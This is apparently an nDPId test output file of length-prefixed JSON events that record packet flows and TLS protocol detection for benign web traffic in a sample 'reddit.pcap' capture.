+00467{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4156,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":754068,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgIAAAAAAAAIAYqAcsBIEmLB5kd7IUo3\/YpAbvVxjGyAqhUIR0FoBJXgNU8AAACBAV4AQMDAwQCCArC10MXhYsnkQ=="} +00454{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4158,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":754101,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBqw+ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACAG1cYBu1QhHQUxsgKpgBAB+1kkAAABAQgKhYsnu8LXQxc="} +01151{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4161,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":754330,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBqw+AiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACAG1cYBu1QhHQUxsgKpgBgB+7qNAAABAQgKhYsnu8LXQxcWAwECAAEAAfwDAyXaTUGeswmyVM8\/Dl2Qf5fitrGFmVKyru8OELloUAwbIMUqQj\/L7tNTcV3UD9UpA2mjeLajzAaCv8lzw2\/F86fvACA6OhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZP6+gAAAAAAGwAZAAAWc3RhdGljLmRvdWJsZWNsaWNrLm5ldAAXAAD\/AQABAAAKAAoACEpKAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApSkoAAQAAHQAgkJbXOIyvxcmniIJLU3Qom4gz6w8\/FjW9fJVELvdvcGIALQACAQEAKwALCvr6AwQDAwMCAwEAGwADAgACWloAAQAAFQDGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00834{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4161,"source":"reddit.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":4,"flow_first_seen":1605291688712,"flow_last_seen":1605291688754,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2006","src_port":54726,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"static.doubleclick.net","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00469{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4267,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":786435,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgFAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbvfwoEYYXPjQDuzoBJXgOVIAAACBAV4AQMDAwQCCArC10M\/bf\/I8g=="} +00455{"flow_id":39,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4268,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":786460,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCJDMACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAE38IBu+NAO7OBGGF0gBAB+2k0AAABAQgKbf\/JGMLXQz8="} +01149{"flow_id":39,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4269,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":786633,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCJDMAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAE38IBu+NAO7OBGGF0gBgB+9LpAAABAQgKbf\/JGMLXQz8WAwECAAEAAfwDAxslW\/nV6n4TSU+WU427vUmpkTBTAfJMCiXCjsW6jsM1IDI9pBtUEgNPXXn3m6DfkXTykQkxvHtW6AlECtSxtZwqACB6ehMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPq6gAAAAAAEwARAAAOd3d3Lmdvb2dsZS5jb20AFwAA\/wEAAQAACgAKAAh6egAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKXp6AAEAAB0AIOcwVI1IhWdfqyJF52U0JaQN9BKpJPL3krZ3EsrflGwKAC0AAgEBACsACwq6ugMEAwMDAgMBABsAAwIAAvr6AAEAABUAzgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4269,"source":"reddit.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":4,"flow_first_seen":1605291688749,"flow_last_seen":1605291688786,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2004","src_port":57282,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00455{"flow_id":38,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4296,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":794873,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgIAAAAAAAAIAYqAcsBIEmLB5kd7IUo3\/YpAbvVxjGyAqlUIR8KgBALME23AAABAQgKwtdDSoWLJ7s="} +02100{"flow_id":38,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4414,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":813598,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAYqAcsBIEmLB5kd7IUo3\/YpAbvVxjGyAqlUIR8KgBgLMLXcAAABAQgKwtdDUYWLJ7sWAwMAegIAAHYDA2+BoMoxpZlcsL7F1ycglotxIsh5yIGMJgNPiiFngHzrIMUqQj\/L7tNTcV3UD9UpA2mjeLajzAaCv8lzw2\/F86fvEwEAAC4AMwAkAB0AIAUWTr1\/Qdiq0pKiqD0aB6SYA+0nVOzmkqcn9kOJvXlCACsAAgMEFAMDAAEBFwMDCrJcsj1MIsiTsXx0lbR1BmqcCxYIE8p35MmZDPd\/BKaoA4yoOOimcGniavf1+z\/cKV\/Cs8lTrMZ6eU6lwqWhPXchk6pe4OBLOsJEaE0fnYdAS7\/h8BWbGFrWGX2mhjNHSyjFaytzoC9oGXi7upsr\/szuA9iAzzz340P80GfaBoQ1A0Q8DhRGgwAe8nR6l\/hUCHutNXAGK\/Kba5goPGQrb2BV9x0sivVa5lZXLeKK8Ksk4ebG6SI99PtRxBxY9sx7tGipY3Q19re5nMgxhow3zDE4WMv3v7sy56uj1EX2GjmmnKl\/42fphJ7KsGxSBLLfrKYPA9xG1rIkF4S3bWY3VBL2Ks0b+JVRuJmmwCSeDK2d61gSFLIVL\/g9JGQKuMJVph7d7k\/BLgkwDrSDm5TuqW5rUoOyd7wwHf3qz38JezHnB432gQySJoEQV5vcTHPKgUZ7dmWCZ2QXPUuvEyZrAMhY5zYtIK11IrRkqywLpq3MunuLeYzmzSwpQ8ZM\/rTARoEU2bqN+b3pWiWJy7b3m+D\/+3kKXip0YOBcpTsW5NHkWHg5+H+ovuH4yXOEkbfBreualUQDEBUvbZRBGzqP\/KcShdYj9JQDnG54iwfrzDCKDZ4tmc7AiebIm2+SdPYE32Pk623iz0Se4H9UTXaNSd5xrV8caRkPEMQmbLxR9ef8mpio+z6UXjt1zeNbppBCo4rQ1o4UfL\/B2ZjiBysRuxX1ueqIm+ACGWd4JF5gtswB3irPFTCOjtYQDuKUHhbvzLixorrDtL2si7XWZ49+8kT8621b+xGfWPMYEP7uOrOfN91Cx\/sTasM0XMiB03ojlqvazJaaqR+o2ImebJU5ddiL8u4bGikRuUulsro2Jx0rm+FqUJC0Bmpz7nSOQCzGwRKV1FHsyVw\/s3kFmpTTxTZMFKaDyr+qpPMNfK8mxhQg2r4+xCoHOpFYGn3W86uEqSEtRUrvJazZO51ZDsdTOfG817GZvtpt+zpIkkkMl9Oznptve0ygiyBIoSJDB3itFuz0THNX2bpn1K7B5PV0nUv36n+KLCaoZ6y7u1rRyqNATm9mUXDOGHg+0hOXrgl6pNKHKcH+FgoTOcz5\/O6oRMaDOJIZMgGsXLBEN\/2VSI06BMXdJ\/KXoy\/j2+0Bvs\/rMLjMxU0EkqX7kYnQ8qavpgcpCD0Y3SpWVmn\/sDPM0vOcb05gkpp8QRuvMjdTcyUrmjDAWErw1s6sKe0I4FDBDESzKjLxRzW7FOlQ71H3s91eAJBrKVIgyvZGFNwp\/x8Efvdl1X6XC2wdO9hmwEEkrigxdD9pgCRy4ZiqtBs6JrVALzrJb+0jsNRIW4gTc7CHG6DoSkQO2p+ODmUdYNmXGLrTBNuygd0gXW5awWj5b6quH+aDnQxl\/Z9dobpDMps5ScaLB2MSKEZ5R1qPXorlAA=="} +00875{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4414,"source":"reddit.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":6,"flow_first_seen":1605291688712,"flow_last_seen":1605291688813,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2006","src_port":54726,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"static.doubleclick.net","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02093{"flow_id":38,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4415,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":813599,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAYqAcsBIEmLB5kd7IUo3\/YpAbvVxjGyB2FUIR8KgBgLMGw0AAABAQgKwtdDUYWLJ7tS7xliDvzGK\/6qb90zeMw03pkrulg\/a34QNbfDvt7uaLutfz8L0tvfaJBauaC8HB0LP17vXhum5iKhD281Dckeio4YuvRNHLWxhEsCZKtu1SsKUGLg2qpcz\/z4V1xmxRRkAYXw7siGDrFMxVggTDWh3RiV\/0w2NogKcVzTmVFJeOr1hRTpZkSACkh2BdTy6daMPwrSIWuVOexL7QfPcDJHfcaqho\/XlCCd7G77LLxeBTQDcK0ZbrFKI+TKoDvwMweJq+1yREX94QFdC85wM5AJcEnwZVcgC9ooqlA\/Wj0Q6i0dgZtYtCWqmXGAFWJSxQGQDCMGpdzG2PFdBixJ9n8aXY2UliygPLyhcgpTdO0ZKJxIvl5tmYjNpZuQiAhhY1lN7e8OJ4clRS2PnUUKVhUmj9NFl4d8A27NgRBwzNo+sQETvFnyT\/s22NDu\/g605cWStCFyU0Xv4Uh4Vz3qUfEgIyUBoLByDDw72FL7ffb7HyRnQNDGb4IMMlrXO4f9fGiA3vqUQX7WUN1DpFQBgkYXptlccaN82IMNAwpTRoM5s+dykvAZG6eTHsZd+Zvef9POZEHckKqP0hQwHt0+55OVLBEFhn2IbMIHSg6W7HNmgGGyv\/C4XawGrLHmYQXAsvzRWtkYQ9A8C1pEJGrdfSniyiFefReiQSjMQjid19c4hmJzmQwRDvqs5MZB8CNn\/XkhiUvJsElCjMEe3JMKZR8QJ0JtT1eHvACRmqQdELraTyOTGwLLmca1BNbsFTAmsGWpE005LLcvGEJEL9DMDu+X+l0QJHofcWEmjGqejSeotGXebVaE9t9djwHJxJcL7GwuVcdGgNWuacDxKvXrTM07EBZj5LWkk90YwR4mDlU1HKhggybz0oyJabceZAblAPb\/3\/LNlm09JJfU\/L9y0rlzbtVZ36n5Y45xlVSiM9ebdy8EvlEVdhgAwPTX+rPHMtWwyYkphHjJP1YCDG01aQLRZDOG6RUkDvSyR46jof1dfGkv7o2l+ExooALclITPW968iKG1kTdQU7ods4NzFPvUmG5kTCCVyBFT\/CNihZ+pEg+UM4csny\/qVTenKap00E5FD6rbtG1DCRb5hZRGC0FCNbmsJO5ArkXl2hwGkaAALPCYgBvi5vg9O8g7GO+828txoqN6PVaKfPAkMkHqbVO7h8vh2V3cwQTOUugEJn+RIyRgNs90h9\/xvu6XutcfDZZ+yq0NPdR2ft7Y3Pybq0ntM63xuWknv5PF34kEU6fjFME\/cJu1nBxzme6OiNixkNMcVYJe1+kw3Q36LyXVBcSGQiTJJUYSwclhTCrkSZ22IpI7ee9r8BqbCGXjXrrOr0Mm6hwDV6X0u8ihyfAvgb3QlkyAY6Nkpn7tOXhiNu8rhvodeanG0I+RdCffmJfr4iZDdRoqJHqXQ0n1H2tYuid86AYu9XHPWFb2BiXOX05HmUFndeXFwlS2AESl92Up\/cEE5ZpCfmQcoal8x5\/AzIfVhTbKQevO8LJi+8smWadagvNz1NnoX41I5yYkTcB4bIQERpJMlVyebQHn9CLWirr9PIKGrnahVkLYhhRCN20jfKgtM80ONHZD9e0WaWdevm\/zCiBacnLTtg=="} +01078{"flow_id":38,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4416,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":813599,"pkt_caplen":546,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":546,"pkt_l4_len":492,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAewGPSoAFFBABwgIAAAAAAAAIAYqAcsBIEmLB5kd7IUo3\/YpAbvVxjGyDBlUIR8KgBgLMG5PAAABAQgKwtdDUYWLJ7sAWdSA9dP6l2hGNH1MScc+LBfToGcOsV4XAAaR7p7paqFbidCYEBprMy2tW\/eM1TAUSj\/+KZgcBOC4woJCh9RbxK\/sR3Qx+Z09th\/+PGt5Tz4GMzFuuEgmk4nnUuKdhERwiNqPe+J2r+fiqiXRInJDfjwwZlZ+x0LYsT4SsPfvT8ig7Vd8dlhkUXzfEWgs3ParQ0ZRzL30sEn\/mlCdNvjGW+gzzULVpDW5QW2Phd5lIX2HhCvkga+pdoiNryQtMtdyJ8XoSsSOZZtMsDKFUJQSov35Dk1W9abDJyOjIvea6sx1CXM0wXTd++ht8hdQGSo318njBm8YlQJReos58jWIMEuiEIZ8mWmov+du0OvSZcb98wkoJZGy4Zybu\/rOLa3ABSFkj1Vb3rH0Vg23EE58yIoYScZZWy4PHxZdQvSsAKBlBzlcbazWe45kPVgoLxoFu8pErPNpSVpClJOT\/jIKFqIfLJHpscEIPQd\/ucKrmi4sXieG7SK18qYUVqHuah+tNWegI348jnfNfzI2FIogMgeJW5Ln7PA5EZylscaV6op6JffT7Qc+MEDK84BqVVKyRPyf6Tg4CCfytahhmQlG5NA886ohE7a2oCvG"} +00454{"flow_id":38,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4418,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":813611,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBqw+ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACAG1cYBu1QhHwoxsgdhgBAB9VH4AAABAQgKhYsn9sLXQ1E="} +00455{"flow_id":38,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4419,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":813626,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBqw+ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACAG1cYBu1QhHwoxsgwZgBAB8k1DAAABAQgKhYsn9sLXQ1E="} +00455{"flow_id":38,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4420,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":813631,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBqw+ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACAG1cYBu1QhHwoxsg3lgBAB70t6AAABAQgKhYsn9sLXQ1E="} +00543{"flow_id":38,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4428,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":815709,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gBqw+AGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACAG1cYBu1QhHwoxsg3lgBgB9QvCAAABAQgKhYsn+MLXQ1EUAwMAAQEXAwMANWxcOGJPb\/bnuwx+2gjxE3DRB+OYnyfDx1WN1ZWWBg8XqFZU3GGEx3VN8\/AD0LZF2XY0KMAe"} +00584{"flow_id":38,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4429,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":815816,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gBqw+AHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACAG1cYBu1QhH0oxsg3lgBgB9b7CAAABAQgKhYsn+MLXQ1EXAwMAV7DTKicdyIW9oddQezvsVCqOnBsYYNXBUX\/VeTmD0ji7eQF7bJ\/RBzIyz06PRPexQ6SFB18LSfT2xP7JpoMR9WY9qSF5V6lAi73Si+8b8DV8mVSE7oChjg=="} +00815{"flow_id":38,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4430,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":815910,"pkt_caplen":350,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":350,"pkt_l4_len":296,"pkt":"qtsDr8lk5EKm5WPyht1gBqw+ASgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACAG1cYBu1QhH6Yxsg3lgBgB9dztAAABAQgKhYsn+MLXQ1EXAwMBAwHGgS8JktvfhJS8HTbLgj6uoqDjdEf18UnkHBBik+lUriT5jTSaDF8DTTSaPFnnQE\/THCeaZwSWe2Qx5gktzbknDzgl0qSZvL43hTnvc6sKMpbI4hoqcvs1mtK6XA9ZTPZD\/qcqEY\/ovDS3gRdB84oNtU0XUs7CLp4pcnDoBjlyU\/UvpAtKVLeacATqoil3q0W2mi13oMQfs9ljUx4gBCLPxau2brTAO4vE6RmkIiawY1S29m9LWhjIgfeu1beb4kX2rd+jr9Gv0KKGJVjV5S4N\/SSfpikfvX0EKrxDX28Qz3HfasQcEZgQU2TQ3cT+WURQcEaaY0Jo4dPdHGjmgnxMadQ="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4492,"source":"reddit.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1605291688830,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2001","src_port":58122,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4492,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":830061,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBrB0ACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAB4woBuyKqv5AAAAAAoAL9IFwjAAACBAWgBAIICu7gTZEAAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4499,"source":"reddit.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1605291688831,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:815::2016","src_port":52296,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4499,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":831210,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDPOvACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFQAAAAAAACAWzEgBu0zLu+wAAAAAoAL9IM9TAAACBAWgBAIICkSadMcAAAAAAQMDBw=="} +00456{"flow_id":39,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4508,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":833881,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgFAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbvfwoEYYXTjQD24gBALMF3PAAABAQgKwtdDam3\/yRg="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4537,"source":"reddit.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1605291688843,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80c::2003","src_port":47302,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4537,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":843899,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/Vp\/oAAAAAoAL9IC3PAAACBAWgBAIICjfz93gAAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4538,"source":"reddit.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1605291688843,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80c::2003","src_port":47304,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4538,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":843948,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gC3ZcACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMgBu1ulIdYAAAAAoAL9IPghAAACBAWgBAIICjfz93gAAAAAAQMDBw=="} 